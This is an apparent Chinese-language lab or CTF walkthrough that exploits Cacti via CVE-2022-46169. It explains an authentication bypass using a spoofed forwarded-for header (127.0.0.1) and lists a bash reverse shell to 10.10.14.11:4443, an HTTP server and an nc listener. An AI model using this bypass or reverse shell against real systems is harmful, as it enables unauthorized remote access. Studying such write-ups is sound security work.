
一个22一个80没啥好看的,直接打开网页看看

直接就是后台界面,谷歌一下有没有现成漏洞

cacti/lib/html_utility.php
<?php
// ...
function remote_client_authorized() {
// ...
$client_addr = get_client_addr();
// ...
$client_name = gethostbyaddr($client_addr);
// ...
$pollers = db_fetch_assoc('SELECT * FROM poller', true, $poller_db_cnn_id);
foreach($pollers as $poller) {
if (remote_agent_strip_domain($poller['hostname']) == $client_name) {
return true;
// ...
上面的代码片段显示该函数get_client_addr检索客户端的 IP 地址。此函数在确定 IP 地址时会考虑各种攻击者可控的 HTTP 标头
cacti/lib/functions.php
<?php
// ...
function get_client_addr($client_addr = false) {
$http_addr_headers = array(
'HTTP_X_FORWARDED',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'HTTP_CLIENT_IP',
'REMOTE_ADDR',
);
$client_addr = false;
foreach ($http_addr_headers as $header) {
// ...
$header_ips = explode(',', $_SERVER[$header]);
foreach ($header_ips as $header_ip) {
// ...
$client_addr = $header_ip;
break 2;
}
}
return $client_addr;
}
当REMOTE_ADDR变量设置为从连接到 Web 服务器的源 IP 地址时,开头的变量HTTP_由从客户端接收到的相应 HTTP 标头填充。如果客户端和 Web 服务器(即反向代理)之间没有过滤这些 HTTP 标头的实例,则攻击者可以完全控制这些值。 简单来讲==get_client_addr()==函数是获取客户端的ip地址,获取的方式是从这些HTTP头中依次读取,获取完ip后获取hostname然后跟数据库中的读取的值做比较,如果相等那么就可以授权成功 只要在请求中添加:Forwarded-For: 127.0.0.1就能控制这些头绕过检测 此外还有个命令执行漏洞,不再多赘述
先创建一个shell脚本
bash -i >& /dev/tcp/10.10.14.11/4443 0>&1
再开一个http服务
sudo python3 -m http.server 80
开始监听
rlwrap nc -lvp 4443
运行CVE-2022-46169exploit